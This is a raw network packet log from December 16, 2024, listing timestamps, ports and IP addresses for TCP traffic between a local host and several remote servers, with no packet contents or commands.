Dec 16, 2024 21:02:53.992472887 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.992695093 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.992893934 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.993057966 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.993115902 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.993115902 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.993174076 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.993258953 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.994091988 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.994179964 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.994237900 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:53.995129108 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:53.995187044 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.019820929 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.019961119 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.020078897 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.020078897 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.020251036 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.020390034 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.020437002 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.020437002 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.021270990 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.021328926 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.021380901 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.021437883 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.022349119 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.022404909 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.022454977 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.022509098 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.023430109 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.023488045 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.023536921 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.023592949 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.024569988 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.024626970 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.024720907 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.024775982 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.025640965 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.025697947 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:54.025729895 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:54.025784016 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:56.266724110 CET	49858	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:56.267246008 CET	49876	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:56.387180090 CET	80	49876	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:56.387372017 CET	80	49858	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:56.387689114 CET	49876	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:56.387689114 CET	49858	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:56.387797117 CET	49876	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:56.507838964 CET	80	49876	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:57.747519016 CET	80	49876	185.215.113.43	192.168.2.4
Dec 16, 2024 21:02:57.747579098 CET	49876	80	192.168.2.4	185.215.113.43
Dec 16, 2024 21:02:57.751404047 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:57.751887083 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:57.872075081 CET	80	49864	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:57.872097015 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:57.872263908 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:57.872359037 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:57.872404099 CET	49864	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:57.992505074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.203100920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.203130960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.203146935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.203177929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.203249931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.203833103 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.203900099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.203912020 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.203917980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.203941107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.203963995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.204163074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.204178095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.204195023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.204214096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.204237938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.204314947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.204363108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.323685884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.323775053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.323813915 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.324177980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.327816963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.327876091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.327975988 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.328030109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.333965063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.334022045 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.399435997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.399513960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.399518967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.399580956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.399580956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.403723001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.403778076 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.403866053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.403917074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.412305117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.412373066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.415283918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.415345907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.415395975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.415441990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.423695087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.423731089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.423778057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.423815012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.431996107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.432069063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.432202101 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.432270050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.440361023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.440448999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.440572977 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.440622091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.448820114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.448873997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.448920012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.448967934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.457305908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.457359076 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.457381964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.457422018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.465640068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.465689898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.465779066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.465825081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.473301888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.473422050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.473455906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.473500013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.481213093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.481230021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.481265068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.481297970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.559583902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.559688091 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.559880972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.591660023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.591779947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.591792107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.591871023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.593791008 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.593853951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.593880892 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.593908072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.598417997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.598436117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.598475933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.598505974 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.602710962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.602780104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.602794886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.602843046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.607147932 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.607199907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.607337952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.607389927 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.611687899 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.611752987 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.611792088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.611836910 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.616467953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.616503000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.616539955 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.616568089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.620511055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.620568037 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.620651960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.620699883 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.624989986 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.625066996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.625178099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.625241041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.629435062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.629492998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.629605055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.629769087 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.633897066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.633965015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.634015083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.634063959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.638322115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.638390064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.638423920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.638470888 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.642949104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.643018007 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.643074989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.643127918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.647326946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.647377014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.647450924 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.647490978 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.651693106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.651745081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.651896000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.651947021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.656261921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.656318903 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.656322956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.656387091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.660657883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.660713911 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.660844088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.660891056 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.665287971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.665307045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.665339947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.665339947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.669528961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.669581890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.669766903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.669823885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.671106100 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:59.674134970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.674195051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.674206018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.674238920 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.678466082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.678600073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.678654909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.678685904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.682873011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.682935953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.682977915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.683027029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.687566042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.687633991 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.751622915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.751669884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.751705885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.751784086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.753843069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.754019976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.784077883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.784228086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.784238100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.784351110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.785775900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.785792112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.785828114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.785828114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.788521051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.788574934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.788650990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.788804054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.791042089 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:59.791949987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.791999102 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.792085886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.792133093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.795505047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.795553923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.795635939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.795702934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.798886061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.798918009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.798957109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.798957109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.802234888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.802299976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.802380085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.802428961 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.805327892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.805375099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.805505991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.805543900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.808526039 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.808578014 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.808736086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.808794022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.811702967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.811752081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.811903000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.811949015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.814878941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.814944029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.815042973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.815088987 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.816919088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.816967010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.817047119 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.817092896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.818881035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.818937063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.819041967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.819082975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.820805073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.820820093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.820852041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.820883036 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.822758913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.822825909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.822875977 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.822926044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.824640989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.824687004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.825458050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.825505018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.826673031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.826718092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.826719046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.826769114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.828712940 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.828772068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.828780890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.828824997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.830688953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.830751896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.830776930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.830826998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.832777977 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.832850933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.832860947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.832906008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.834599018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.834650040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.834758997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.834810019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.836769104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.836785078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.836817026 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.836848021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.838646889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.838660955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.838692904 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.838722944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.840550900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.840610027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.840713024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.840764999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.842556000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.842600107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.842614889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.842654943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.844580889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.844660997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.844682932 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.844881058 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.846508980 CET	80	49882	31.41.244.11	192.168.2.4
